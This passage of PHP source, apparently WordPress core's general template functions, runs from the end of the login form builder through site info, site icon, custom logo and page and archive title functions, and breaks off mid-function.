		sprintf(
			'<p class="login-submit">
				<input type="submit" name="wp-submit" id="%1$s" class="button button-primary" value="%2$s" />
				<input type="hidden" name="redirect_to" value="%3$s" />
			</p>',
			esc_attr( $args['id_submit'] ),
			esc_attr( $args['label_log_in'] ),
			esc_url( $args['redirect'] )
		) .
		$login_form_bottom .
		'</form>';

	if ( $args['echo'] ) {
		echo $form;
	} else {
		return $form;
	}
}

/**
 * Returns the URL that allows the user to reset the lost password.
 *
 * @since 2.8.0
 *
 * @param string $redirect Path to redirect to on login.
 * @return string Lost password URL.
 */
function wp_lostpassword_url( $redirect = '' ) {
	$args = array(
		'action' => 'lostpassword',
	);

	if ( ! empty( $redirect ) ) {
		$args['redirect_to'] = urlencode( $redirect );
	}

	if ( is_multisite() ) {
		$blog_details  = get_site();
		$wp_login_path = $blog_details->path . 'wp-login.php';
	} else {
		$wp_login_path = 'wp-login.php';
	}

	$lostpassword_url = add_query_arg( $args, network_site_url( $wp_login_path, 'login' ) );

	/**
	 * Filters the Lost Password URL.
	 *
	 * @since 2.8.0
	 *
	 * @param string $lostpassword_url The lost password page URL.
	 * @param string $redirect         The path to redirect to on login.
	 */
	return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
}

/**
 * Displays the Registration or Admin link.
 *
 * Display a link which allows the user to navigate to the registration page if
 * not logged in and registration is enabled or to the dashboard if logged in.
 *
 * @since 1.5.0
 *
 * @param string $before  Text to output before the link. Default `<li>`.
 * @param string $after   Text to output after the link. Default `</li>`.
 * @param bool   $display Default to echo and not return the link.
 * @return void|string Void if `$display` argument is true, registration or admin link
 *                     if `$display` is false.
 */
function wp_register( $before = '<li>', $after = '</li>', $display = true ) {
	if ( ! is_user_logged_in() ) {
		if ( get_option( 'users_can_register' ) ) {
			$link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __( 'Register' ) . '</a>' . $after;
		} else {
			$link = '';
		}
	} elseif ( current_user_can( 'read' ) ) {
		$link = $before . '<a href="' . admin_url() . '">' . __( 'Site Admin' ) . '</a>' . $after;
	} else {
		$link = '';
	}

	/**
	 * Filters the HTML link to the Registration or Admin page.
	 *
	 * Users are sent to the admin page if logged-in, or the registration page
	 * if enabled and logged-out.
	 *
	 * @since 1.5.0
	 *
	 * @param string $link The HTML code for the link to the Registration or Admin page.
	 */
	$link = apply_filters( 'register', $link );

	if ( $display ) {
		echo $link;
	} else {
		return $link;
	}
}

/**
 * Theme container function for the 'wp_meta' action.
 *
 * The {@see 'wp_meta'} action can have several purposes, depending on how you use it,
 * but one purpose might have been to allow for theme switching.
 *
 * @since 1.5.0
 *
 * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
 */
function wp_meta() {
	/**
	 * Fires before displaying echoed content in the sidebar.
	 *
	 * @since 1.5.0
	 */
	do_action( 'wp_meta' );
}

/**
 * Displays information about the current site.
 *
 * @since 0.71
 *
 * @see get_bloginfo() For possible `$show` values
 *
 * @param string $show Optional. Site information to display. Default empty.
 */
function bloginfo( $show = '' ) {
	echo get_bloginfo( $show, 'display' );
}

/**
 * Retrieves information about the current site.
 *
 * Possible values for `$show` include:
 *
 * - 'name' - Site title (set in Settings > General)
 * - 'description' - Site tagline (set in Settings > General)
 * - 'wpurl' - The WordPress address (URL) (set in Settings > General)
 * - 'url' - The Site address (URL) (set in Settings > General)
 * - 'admin_email' - Admin email (set in Settings > General)
 * - 'charset' - The "Encoding for pages and feeds"  (set in Settings > Reading)
 * - 'version' - The current WordPress version
 * - 'html_type' - The Content-Type (default: "text/html"). Themes and plugins
 *   can override the default value using the {@see 'pre_option_html_type'} filter
 * - 'text_direction' - The text direction determined by the site's language. is_rtl()
 *   should be used instead
 * - 'language' - Language code for the current site
 * - 'stylesheet_url' - URL to the stylesheet for the active theme. An active child theme
 *   will take precedence over this value
 * - 'stylesheet_directory' - Directory path for the active theme.  An active child theme
 *   will take precedence over this value
 * - 'template_url' / 'template_directory' - URL of the active theme's directory. An active
 *   child theme will NOT take precedence over this value
 * - 'pingback_url' - The pingback XML-RPC file URL (xmlrpc.php)
 * - 'atom_url' - The Atom feed URL (/feed/atom)
 * - 'rdf_url' - The RDF/RSS 1.0 feed URL (/feed/rdf)
 * - 'rss_url' - The RSS 0.92 feed URL (/feed/rss)
 * - 'rss2_url' - The RSS 2.0 feed URL (/feed)
 * - 'comments_atom_url' - The comments Atom feed URL (/comments/feed)
 * - 'comments_rss2_url' - The comments RSS 2.0 feed URL (/comments/feed)
 *
 * Some `$show` values are deprecated and will be removed in future versions.
 * These options will trigger the _deprecated_argument() function.
 *
 * Deprecated arguments include:
 *
 * - 'siteurl' - Use 'url' instead
 * - 'home' - Use 'url' instead
 *
 * @since 0.71
 *
 * @global string $wp_version The WordPress version string.
 *
 * @param string $show   Optional. Site info to retrieve. Default empty (site name).
 * @param string $filter Optional. How to filter what is retrieved. Default 'raw'.
 * @return string Mostly string values, might be empty.
 */
function get_bloginfo( $show = '', $filter = 'raw' ) {
	switch ( $show ) {
		case 'home':    // Deprecated.
		case 'siteurl': // Deprecated.
			_deprecated_argument(
				__FUNCTION__,
				'2.2.0',
				sprintf(
					/* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument. */
					__( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ),
					'<code>' . $show . '</code>',
					'<code>bloginfo()</code>',
					'<code>url</code>'
				)
			);
			// Intentional fall-through to be handled by the 'url' case.
		case 'url':
			$output = home_url();
			break;
		case 'wpurl':
			$output = site_url();
			break;
		case 'description':
			$output = get_option( 'blogdescription' );
			break;
		case 'rdf_url':
			$output = get_feed_link( 'rdf' );
			break;
		case 'rss_url':
			$output = get_feed_link( 'rss' );
			break;
		case 'rss2_url':
			$output = get_feed_link( 'rss2' );
			break;
		case 'atom_url':
			$output = get_feed_link( 'atom' );
			break;
		case 'comments_atom_url':
			$output = get_feed_link( 'comments_atom' );
			break;
		case 'comments_rss2_url':
			$output = get_feed_link( 'comments_rss2' );
			break;
		case 'pingback_url':
			$output = site_url( 'xmlrpc.php' );
			break;
		case 'stylesheet_url':
			$output = get_stylesheet_uri();
			break;
		case 'stylesheet_directory':
			$output = get_stylesheet_directory_uri();
			break;
		case 'template_directory':
		case 'template_url':
			$output = get_template_directory_uri();
			break;
		case 'admin_email':
			$output = get_option( 'admin_email' );
			break;
		case 'charset':
			$output = get_option( 'blog_charset' );
			if ( '' === $output ) {
				$output = 'UTF-8';
			}
			break;
		case 'html_type':
			$output = get_option( 'html_type' );
			break;
		case 'version':
			global $wp_version;
			$output = $wp_version;
			break;
		case 'language':
			/*
			 * translators: Translate this to the correct language tag for your locale,
			 * see https://www.w3.org/International/articles/language-tags/ for reference.
			 * Do not translate into your own language.
			 */
			$output = __( 'html_lang_attribute' );
			if ( 'html_lang_attribute' === $output || preg_match( '/[^a-zA-Z0-9-]/', $output ) ) {
				$output = determine_locale();
				$output = str_replace( '_', '-', $output );
			}
			break;
		case 'text_direction':
			_deprecated_argument(
				__FUNCTION__,
				'2.2.0',
				sprintf(
					/* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name. */
					__( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ),
					'<code>' . $show . '</code>',
					'<code>bloginfo()</code>',
					'<code>is_rtl()</code>'
				)
			);
			if ( function_exists( 'is_rtl' ) ) {
				$output = is_rtl() ? 'rtl' : 'ltr';
			} else {
				$output = 'ltr';
			}
			break;
		case 'name':
		default:
			$output = get_option( 'blogname' );
			break;
	}

	if ( 'display' === $filter ) {
		if (
			str_contains( $show, 'url' )
			|| str_contains( $show, 'directory' )
			|| str_contains( $show, 'home' )
		) {
			/**
			 * Filters the URL returned by get_bloginfo().
			 *
			 * @since 2.0.5
			 *
			 * @param string $output The URL returned by bloginfo().
			 * @param string $show   Type of information requested.
			 */
			$output = apply_filters( 'bloginfo_url', $output, $show );
		} else {
			/**
			 * Filters the site information returned by get_bloginfo().
			 *
			 * @since 0.71
			 *
			 * @param mixed  $output The requested non-URL site information.
			 * @param string $show   Type of information requested.
			 */
			$output = apply_filters( 'bloginfo', $output, $show );
		}
	}

	return $output;
}

/**
 * Returns the Site Icon URL.
 *
 * @since 4.3.0
 *
 * @param int    $size    Optional. Size of the site icon. Default 512 (pixels).
 * @param string $url     Optional. Fallback url if no site icon is found. Default empty.
 * @param int    $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
 * @return string Site Icon URL.
 */
function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
	$switched_blog = false;

	if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) {
		switch_to_blog( $blog_id );
		$switched_blog = true;
	}

	$site_icon_id = (int) get_option( 'site_icon' );

	if ( $site_icon_id ) {
		if ( $size >= 512 ) {
			$size_data = 'full';
		} else {
			$size_data = array( $size, $size );
		}
		$url = wp_get_attachment_image_url( $site_icon_id, $size_data );
	}

	if ( $switched_blog ) {
		restore_current_blog();
	}

	/**
	 * Filters the site icon URL.
	 *
	 * @since 4.4.0
	 *
	 * @param string $url     Site icon URL.
	 * @param int    $size    Size of the site icon.
	 * @param int    $blog_id ID of the blog to get the site icon for.
	 */
	return apply_filters( 'get_site_icon_url', $url, $size, $blog_id );
}

/**
 * Displays the Site Icon URL.
 *
 * @since 4.3.0
 *
 * @param int    $size    Optional. Size of the site icon. Default 512 (pixels).
 * @param string $url     Optional. Fallback url if no site icon is found. Default empty.
 * @param int    $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
 */
function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
	echo esc_url( get_site_icon_url( $size, $url, $blog_id ) );
}

/**
 * Determines whether the site has a Site Icon.
 *
 * @since 4.3.0
 *
 * @param int $blog_id Optional. ID of the blog in question. Default current blog.
 * @return bool Whether the site has a site icon or not.
 */
function has_site_icon( $blog_id = 0 ) {
	return (bool) get_site_icon_url( 512, '', $blog_id );
}

/**
 * Determines whether the site has a custom logo.
 *
 * @since 4.5.0
 *
 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
 * @return bool Whether the site has a custom logo or not.
 */
function has_custom_logo( $blog_id = 0 ) {
	$switched_blog = false;

	if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) {
		switch_to_blog( $blog_id );
		$switched_blog = true;
	}

	$custom_logo_id = get_theme_mod( 'custom_logo' );

	if ( $switched_blog ) {
		restore_current_blog();
	}

	return (bool) $custom_logo_id;
}

/**
 * Returns a custom logo, linked to home unless the theme supports removing the link on the home page.
 *
 * @since 4.5.0
 * @since 5.5.0 Added option to remove the link on the home page with `unlink-homepage-logo` theme support
 *              for the `custom-logo` theme feature.
 * @since 5.5.1 Disabled lazy-loading by default.
 *
 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
 * @return string Custom logo markup.
 */
function get_custom_logo( $blog_id = 0 ) {
	$html          = '';
	$switched_blog = false;

	if ( is_multisite() && ! empty( $blog_id ) && get_current_blog_id() !== (int) $blog_id ) {
		switch_to_blog( $blog_id );
		$switched_blog = true;
	}

	$custom_logo_id = get_theme_mod( 'custom_logo' );

	// We have a logo. Logo is go.
	if ( $custom_logo_id ) {
		$custom_logo_attr = array(
			'class'   => 'custom-logo',
			'loading' => false,
		);

		$unlink_homepage_logo = (bool) get_theme_support( 'custom-logo', 'unlink-homepage-logo' );

		if ( $unlink_homepage_logo && is_front_page() && ! is_paged() ) {
			/*
			 * If on the home page, set the logo alt attribute to an empty string,
			 * as the image is decorative and doesn't need its purpose to be described.
			 */
			$custom_logo_attr['alt'] = '';
		} else {
			/*
			 * If the logo alt attribute is empty, get the site title and explicitly pass it
			 * to the attributes used by wp_get_attachment_image().
			 */
			$image_alt = get_post_meta( $custom_logo_id, '_wp_attachment_image_alt', true );
			if ( empty( $image_alt ) ) {
				$custom_logo_attr['alt'] = get_bloginfo( 'name', 'display' );
			}
		}

		/**
		 * Filters the list of custom logo image attributes.
		 *
		 * @since 5.5.0
		 *
		 * @param array $custom_logo_attr Custom logo image attributes.
		 * @param int   $custom_logo_id   Custom logo attachment ID.
		 * @param int   $blog_id          ID of the blog to get the custom logo for.
		 */
		$custom_logo_attr = apply_filters( 'get_custom_logo_image_attributes', $custom_logo_attr, $custom_logo_id, $blog_id );

		/*
		 * If the alt attribute is not empty, there's no need to explicitly pass it
		 * because wp_get_attachment_image() already adds the alt attribute.
		 */
		$image = wp_get_attachment_image( $custom_logo_id, 'full', false, $custom_logo_attr );

		if ( $unlink_homepage_logo && is_front_page() && ! is_paged() ) {
			// If on the home page, don't link the logo to home.
			$html = sprintf(
				'<span class="custom-logo-link">%1$s</span>',
				$image
			);
		} else {
			$aria_current = is_front_page() && ! is_paged() ? ' aria-current="page"' : '';

			$html = sprintf(
				'<a href="%1$s" class="custom-logo-link" rel="home"%2$s>%3$s</a>',
				esc_url( home_url( '/' ) ),
				$aria_current,
				$image
			);
		}
	} elseif ( is_customize_preview() ) {
		// If no logo is set but we're in the Customizer, leave a placeholder (needed for the live preview).
		$html = sprintf(
			'<a href="%1$s" class="custom-logo-link" style="display:none;"><img class="custom-logo" alt="" /></a>',
			esc_url( home_url( '/' ) )
		);
	}

	if ( $switched_blog ) {
		restore_current_blog();
	}

	/**
	 * Filters the custom logo output.
	 *
	 * @since 4.5.0
	 * @since 4.6.0 Added the `$blog_id` parameter.
	 *
	 * @param string $html    Custom logo HTML output.
	 * @param int    $blog_id ID of the blog to get the custom logo for.
	 */
	return apply_filters( 'get_custom_logo', $html, $blog_id );
}

/**
 * Displays a custom logo, linked to home unless the theme supports removing the link on the home page.
 *
 * @since 4.5.0
 *
 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
 */
function the_custom_logo( $blog_id = 0 ) {
	echo get_custom_logo( $blog_id );
}

/**
 * Returns document title for the current page.
 *
 * @since 4.4.0
 *
 * @global int $page  Page number of a single post.
 * @global int $paged Page number of a list of posts.
 *
 * @return string Tag with the document title.
 */
function wp_get_document_title() {

	/**
	 * Filters the document title before it is generated.
	 *
	 * Passing a non-empty value will short-circuit wp_get_document_title(),
	 * returning that value instead.
	 *
	 * @since 4.4.0
	 *
	 * @param string $title The document title. Default empty string.
	 */
	$title = apply_filters( 'pre_get_document_title', '' );
	if ( ! empty( $title ) ) {
		return $title;
	}

	global $page, $paged;

	$title = array(
		'title' => '',
	);

	// If it's a 404 page, use a "Page not found" title.
	if ( is_404() ) {
		$title['title'] = __( 'Page not found' );

		// If it's a search, use a dynamic search results title.
	} elseif ( is_search() ) {
		/* translators: %s: Search query. */
		$title['title'] = sprintf( __( 'Search Results for &#8220;%s&#8221;' ), get_search_query() );

		// If on the front page, use the site title.
	} elseif ( is_front_page() ) {
		$title['title'] = get_bloginfo( 'name', 'display' );

		// If on a post type archive, use the post type archive title.
	} elseif ( is_post_type_archive() ) {
		$title['title'] = post_type_archive_title( '', false );

		// If on a taxonomy archive, use the term title.
	} elseif ( is_tax() ) {
		$title['title'] = single_term_title( '', false );

		/*
		* If we're on the blog page that is not the homepage
		* or a single post of any post type, use the post title.
		*/
	} elseif ( is_home() || is_singular() ) {
		$title['title'] = single_post_title( '', false );

		// If on a category or tag archive, use the term title.
	} elseif ( is_category() || is_tag() ) {
		$title['title'] = single_term_title( '', false );

		// If on an author archive, use the author's display name.
	} elseif ( is_author() && get_queried_object() ) {
		$author         = get_queried_object();
		$title['title'] = $author->display_name;

		// If it's a date archive, use the date as the title.
	} elseif ( is_year() ) {
		$title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) );

	} elseif ( is_month() ) {
		$title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) );

	} elseif ( is_day() ) {
		$title['title'] = get_the_date();
	}

	// Add a page number if necessary.
	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
		/* translators: %s: Page number. */
		$title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) );
	}

	// Append the description or site title to give context.
	if ( is_front_page() ) {
		$title['tagline'] = get_bloginfo( 'description', 'display' );
	} else {
		$title['site'] = get_bloginfo( 'name', 'display' );
	}

	/**
	 * Filters the separator for the document title.
	 *
	 * @since 4.4.0
	 *
	 * @param string $sep Document title separator. Default '-'.
	 */
	$sep = apply_filters( 'document_title_separator', '-' );

	/**
	 * Filters the parts of the document title.
	 *
	 * @since 4.4.0
	 *
	 * @param array $title {
	 *     The document title parts.
	 *
	 *     @type string $title   Title of the viewed page.
	 *     @type string $page    Optional. Page number if paginated.
	 *     @type string $tagline Optional. Site description when on home page.
	 *     @type string $site    Optional. Site title when not on home page.
	 * }
	 */
	$title = apply_filters( 'document_title_parts', $title );

	$title = implode( " $sep ", array_filter( $title ) );

	/**
	 * Filters the document title.
	 *
	 * @since 5.8.0
	 *
	 * @param string $title Document title.
	 */
	$title = apply_filters( 'document_title', $title );

	return $title;
}

/**
 * Displays title tag with content.
 *
 * @ignore
 * @since 4.1.0
 * @since 4.4.0 Improved title output replaced `wp_title()`.
 * @access private
 */
function _wp_render_title_tag() {
	if ( ! current_theme_supports( 'title-tag' ) ) {
		return;
	}

	echo '<title>' . wp_get_document_title() . '</title>' . "\n";
}

/**
 * Displays or retrieves page title for all areas of blog.
 *
 * By default, the page title will display the separator before the page title,
 * so that the blog title will be before the page title. This is not good for
 * title display, since the blog title shows up on most tabs and not what is
 * important, which is the page that the user is looking at.
 *
 * There are also SEO benefits to having the blog title after or to the 'right'
 * of the page title. However, it is mostly common sense to have the blog title
 * to the right with most browsers supporting tabs. You can achieve this by
 * using the seplocation parameter and setting the value to 'right'. This change
 * was introduced around 2.5.0, in case backward compatibility of themes is
 * important.
 *
 * @since 1.0.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param string $sep         Optional. How to separate the various items within the page title.
 *                            Default '&raquo;'.
 * @param bool   $display     Optional. Whether to display or retrieve title. Default true.
 * @param string $seplocation Optional. Location of the separator (either 'left' or 'right').
 * @return string|void String when `$display` is false, nothing otherwise.
 */
function wp_title( $sep = '&raquo;', $display = true, $seplocation = '' ) {
	global $wp_locale;

	$m        = get_query_var( 'm' );
	$year     = get_query_var( 'year' );
	$monthnum = get_query_var( 'monthnum' );
	$day      = get_query_var( 'day' );
	$search   = get_query_var( 's' );
	$title    = '';

	$t_sep = '%WP_TITLE_SEP%'; // Temporary separator, for accurate flipping, if necessary.

	// If there is a post.
	if ( is_single() || ( is_home() && ! is_front_page() ) || ( is_page() && ! is_front_page() ) ) {
		$title = single_post_title( '', false );
	}

	// If there's a post type archive.
	if ( is_post_type_archive() ) {
		$post_type = get_query_var( 'post_type' );
		if ( is_array( $post_type ) ) {
			$post_type = reset( $post_type );
		}
		$post_type_object = get_post_type_object( $post_type );
		if ( ! $post_type_object->has_archive ) {
			$title = post_type_archive_title( '', false );
		}
	}

	// If there's a category or tag.
	if ( is_category() || is_tag() ) {
		$title = single_term_title( '', false );
	}

	// If there's a taxonomy.
	if ( is_tax() ) {
		$term = get_queried_object();
		if ( $term ) {
			$tax   = get_taxonomy( $term->taxonomy );
			$title = single_term_title( $tax->labels->name . $t_sep, false );
		}
	}

	// If there's an author.
	if ( is_author() && ! is_post_type_archive() ) {
		$author = get_queried_object();
		if ( $author ) {
			$title = $author->display_name;
		}
	}

	// Post type archives with has_archive should override terms.
	if ( is_post_type_archive() && $post_type_object->has_archive ) {
		$title = post_type_archive_title( '', false );
	}

	// If there's a month.
	if ( is_archive() && ! empty( $m ) ) {
		$my_year  = substr( $m, 0, 4 );
		$my_month = substr( $m, 4, 2 );
		$my_day   = (int) substr( $m, 6, 2 );
		$title    = $my_year .
			( $my_month ? $t_sep . $wp_locale->get_month( $my_month ) : '' ) .
			( $my_day ? $t_sep . $my_day : '' );
	}

	// If there's a year.
	if ( is_archive() && ! empty( $year ) ) {
		$title = $year;
		if ( ! empty( $monthnum ) ) {
			$title .= $t_sep . $wp_locale->get_month( $monthnum );
		}
		if ( ! empty( $day ) ) {
			$title .= $t_sep . zeroise( $day, 2 );
		}
	}

	// If it's a search.
	if ( is_search() ) {
		/* translators: 1: Separator, 2: Search query. */
		$title = sprintf( __( 'Search Results %1$s %2$s' ), $t_sep, strip_tags( $search ) );
	}

	// If it's a 404 page.
	if ( is_404() ) {
		$title = __( 'Page not found' );
	}

	$prefix = '';
	if ( ! empty( $title ) ) {
		$prefix = " $sep ";
	}

	/**
	 * Filters the parts of the page title.
	 *
	 * @since 4.0.0
	 *
	 * @param string[] $title_array Array of parts of the page title.
	 */
	$title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );

	// Determines position of the separator and direction of the breadcrumb.
	if ( 'right' === $seplocation ) { // Separator on right, so reverse the order.
		$title_array = array_reverse( $title_array );
		$title       = implode( " $sep ", $title_array ) . $prefix;
	} else {
		$title = $prefix . implode( " $sep ", $title_array );
	}

	/**
	 * Filters the text of the page title.
	 *
	 * @since 2.0.0
	 *
	 * @param string $title       Page title.
	 * @param string $sep         Title separator.
	 * @param string $seplocation Location of the separator (either 'left' or 'right').
	 */
	$title = apply_filters( 'wp_title', $title, $sep, $seplocation );

	// Send it out.
	if ( $display ) {
		echo $title;
	} else {
		return $title;
	}
}

/**
 * Displays or retrieves page title for post.
 *
 * This is optimized for single.php template file for displaying the post title.
 *
 * It does not support placing the separator after the title, but by leaving the
 * prefix parameter empty, you can set the title separator manually. The prefix
 * does not automatically place a space between the prefix, so if there should
 * be a space, the parameter value will need to have it at the end.
 *
 * @since 0.71
 *
 * @param string $prefix  Optional. What to display before the title.
 * @param bool   $display Optional. Whether to display or retrieve title. Default true.
 * @return string|void Title when retrieving.
 */
function single_post_title( $prefix = '', $display = true ) {
	$_post = get_queried_object();

	if ( ! isset( $_post->post_title ) ) {
		return;
	}

	/**
	 * Filters the page title for a single post.
	 *
	 * @since 0.71
	 *
	 * @param string  $_post_title The single post page title.
	 * @param WP_Post $_post       The current post.
	 */
	$title = apply_filters( 'single_post_title', $_post->post_title, $_post );
	if ( $display ) {
		echo $prefix . $title;
	} else {
		return $prefix . $title;
	}
}

/**
 * Displays or retrieves title for a post type archive.
 *
 * This is optimized for archive.php and archive-{$post_type}.php template files
 * for displaying the title of the post type.
 *
 * @since 3.1.0
 *
 * @param string $prefix  Optional. What to display before the title.
 * @param bool   $display Optional. Whether to display or retrieve title. Default true.
 * @return string|void Title when retrieving, null when displaying or failure.
 */
function post_type_archive_title( $prefix = '', $display = true ) {
	if ( ! is_post_type_archive() ) {
		return;
	}

	$post_type = get_query_var( 'post_type' );
	if ( is_array( $post_type ) ) {
		$post_type = reset( $post_type );
	}

	$post_type_obj = get_post_type_object( $post_type );

	/**
	 * Filters the post type archive title.
	 *
	 * @since 3.1.0
	 *
	 * @param string $post_type_name Post type 'name' label.
	 * @param string $post_type      Post type.
	 */
	$title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );

	if ( $display ) {
		echo $prefix . $title;
	} else {
		return $prefix . $title;
	}
}

/**
 * Displays or retrieves page title for category archive.
 *
 * Useful for category template files for displaying the category page title.
 * The prefix does not automatically place a space between the prefix, so if
 * there should be a space, the parameter value will need to have it at the end.
 *
 * @since 0.71
 *
 * @param string $prefix  Optional. What to display before the title.
 * @param bool   $display Optional. Whether to display or retrieve title. Default true.
 * @return string|void Title when retrieving.
 */
function single_cat_title( $prefix = '', $display = true ) {
	return single_term_title( $prefix, $display );
}

/**
 * Displays or retrieves page title for tag post archive.
 *
 * Useful for tag template files for displaying the tag page title. The prefix
 * does not automatically place a space between the prefix, so if there should
 * be a space, the parameter value will need to have it at the end.
 *
 * @since 2.3.0
 *
 * @param string $prefix  Optional. What to display before the title.
 * @param bool   $display Optional. Whether to display or retrieve title. Default true.
 * @return string|void Title when retrieving.
 */
function single_tag_title( $prefix = '', $display = true ) {
	return single_term_title( $prefix, $display );
}

/**
 * Displays or retrieves page title for taxonomy term archive.
 *
 * Useful for taxonomy term template files for displaying the taxonomy term page title.
 * The prefix does not automatically place a space between the prefix, so if there should
 * be a space, the parameter value will need to have it at the end.
 *
 * @since 3.1.0
 *
 * @param string $prefix  Optional. What to display before the title.
 * @param bool   $display Optional. Whether to display or retrieve title. Default true.
 * @return string|void Title when retrieving.
 */
function single_term_title( $prefix = '', $display = true ) {
	$term = get_queried_object();

	if ( ! $term ) {
		return;
	}

	if ( is_category() ) {
		/**
		 * Filters the category archive page title.
		 *
		 * @since 2.0.10
		 *
		 * @param string $term_name Category name for archive being displayed.
		 */
		$term_name = apply_filters( 'single_cat_title', $term->name );
	} elseif ( is_tag() ) {
		/**
		 * Filters the tag archive page title.
		 *
		 * @since 2.3.0
		 *
		 * @param string $term_name Tag name for archive being displayed.
		 */
		$term_name = apply_filters( 'single_tag_title', $term->name );
	} elseif ( is_tax() ) {
		/**
		 * Filters the custom taxonomy archive page title.
		 *
		 * @since 3.1.0
		 *
		 * @param string $term_name Term name for archive being displayed.
		 */
		$term_name = apply_filters( 'single_term_title', $term->name );
	} else {
		return;
	}

	if ( empty( $term_name ) ) {
		return;
	}

	if ( $display ) {
		echo $prefix . $term_name;
	} else {
		return $prefix . $term_name;
	}
}

/**
 * Displays or retrieves page title for post archive based on date.
 *
 * Useful for when the template only needs to display the month and year,
 * if either are available. The prefix does not automatically place a space
 * between the prefix, so if there should be a space, the parameter value
 * will need to have it at the end.
 *
 * @since 0.71
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param string $prefix  Optional. What to display before the title.
 * @param bool   $display Optional. Whether to display or retrieve title. Default true.
 * @return string|false|void False if there's no valid title for the month. Title when retrieving.
 */
function single_month_title( $prefix = '', $display = true ) {
	global $wp_locale;

	$m        = get_query_var( 'm' );
	$year     = get_query_var( 'year' );
	$monthnum = get_query_var( 'monthnum' );

	if ( ! empty( $monthnum ) && ! empty( $year ) ) {
		$my_year  = $year;
		$my_month = $wp_locale->get_month( $monthnum );
	} elseif ( ! empty( $m ) ) {
		$my_year  = substr( $m, 0, 4 );
		$my_month = $wp_locale->get_month( substr( $m, 4, 2 ) );
	}

	if ( empty( $my_month ) ) {
		return false;
	}

	$result = $prefix . $my_month . $prefix . $my_year;

	if ( ! $display ) {
		return $result;
	}
	echo $result;
}

/**
 * Displays the archive title based on the queried object.
 *
 * @since 4.1.0
 *
 * @see get_the_archive_title()
 *
 * @param string $before Optional. Content to prepend to the title. Default empty.
 * @param string $after  Optional. Content to append to the title. Default empty.
 */
function the_archive_title( $before = '', $after = '' ) {
	$title = get_the_archive_title();

	if ( ! empty( $title ) ) {
		echo $before . $title . $after;
	}
}

/**
 * Retrieves the archive title based on the queried object.
 *
 * @since 4.1.0
 * @since 5.5.0 The title part is wrapped in a `<span>` element.
 *
 * @return string Archive title.
 */
function get_the_archive_title() {
	$title  = __( 'Archives' );
	$prefix = '';

	if ( is_category() ) {
		$title  = single_cat_title( '', false );
		$prefix = _x( 'Category:', 'category archive title prefix' );
	} elseif ( is_tag() ) {
		$title  = single_tag_title( '', false );
		$prefix = _x( 'Tag:', 'tag archive title prefix' );
	} elseif ( is_author() ) {
		$title  = get_the_author();
		$prefix = _x( 'Author:', 'author archive title prefix' );
	} elseif ( is_year() ) {
		/* translators: See https://www.php.net/manual/datetime.format.php */
		$title  = get_the_date( _x( 'Y', 'yearly archives date format' ) );
		$prefix = _x( 'Year:', 'date archive title prefix' );
	} elseif ( is_month() ) {
		/* translators: See https://www.php.net/manual/datetime.format.php */
		$title  = get_the_date( _x( 'F Y', 'monthly archives date format' ) );
		$prefix = _x( 'Month:', 'date archive title prefix' );
	} elseif ( is_day() ) {
		/* translators: See https://www.php.net/manual/datetime.format.php */
		$title  = get_the_date( _x( 'F j, Y', 'daily archives date format' ) );
		$prefix = _x( 'Day:', 'date archive title prefix' );
	} elseif ( is_tax( 'post_format' ) ) {
		if ( is_tax( 'post_format', 'post-format-aside' ) ) {
			$title = _x( 'Asides', 'post format archive title' );
		} elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
			$title = _x( 'Galleries', 'post format archive title' );
		} elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
			$title = _x( 'Images', 'post format archive title' );
		} elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
			$title = _x( 'Videos', 'post format archive title' );
		} elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
			$title = _x( 'Quotes', 'post format archive title' );
		} elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
			$title = _x( 'Links', 'post format archive title' );
		} elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
			$title = _x( 'Statuses', 'post format archive title' );
		} elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
			$title = _x( 'Audio', 'post format archive title' );
		} elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
			$title = _x( 'Chats', 'post format archive title' );
		}
	} elseif ( is_post_type_archive() ) {
		$title  = post_type_archive_title( '', false );
		$prefix = _x( 'Archives:', 'post type archive title prefix' );
	} elseif ( is_tax() ) {
		$queried_object = get_queried_object();
		if ( $queried_object ) {
			$tax    = get_taxonomy( $queried_object->taxonomy );
			$title  = single_term_title( '', false );
			$prefix = sprintf(
				/* translators: %s: Taxonomy singular name. */
				_x( '%s:', 'taxonomy term archive title prefix' ),
				$tax->labels->singular_name
			);
		}
	}

	$original_title = $title;

	/**
	 * Filters the archive title prefix.
	 *
	 * @since 5.5.0
	 *
	 * @param string $prefix Archive title prefix.
	 */
	$prefix = apply_filters( 'get_the_archive_title_prefix', $prefix );
	if ( $prefix ) {
		$title = sprintf(
			/* translators: 1: Title prefix. 2: Title. */
			_x( '%1$s %2$s', 'archive title' ),
			$prefix,
			'<span>' . $title . '</span>'
		);
	}

	/**
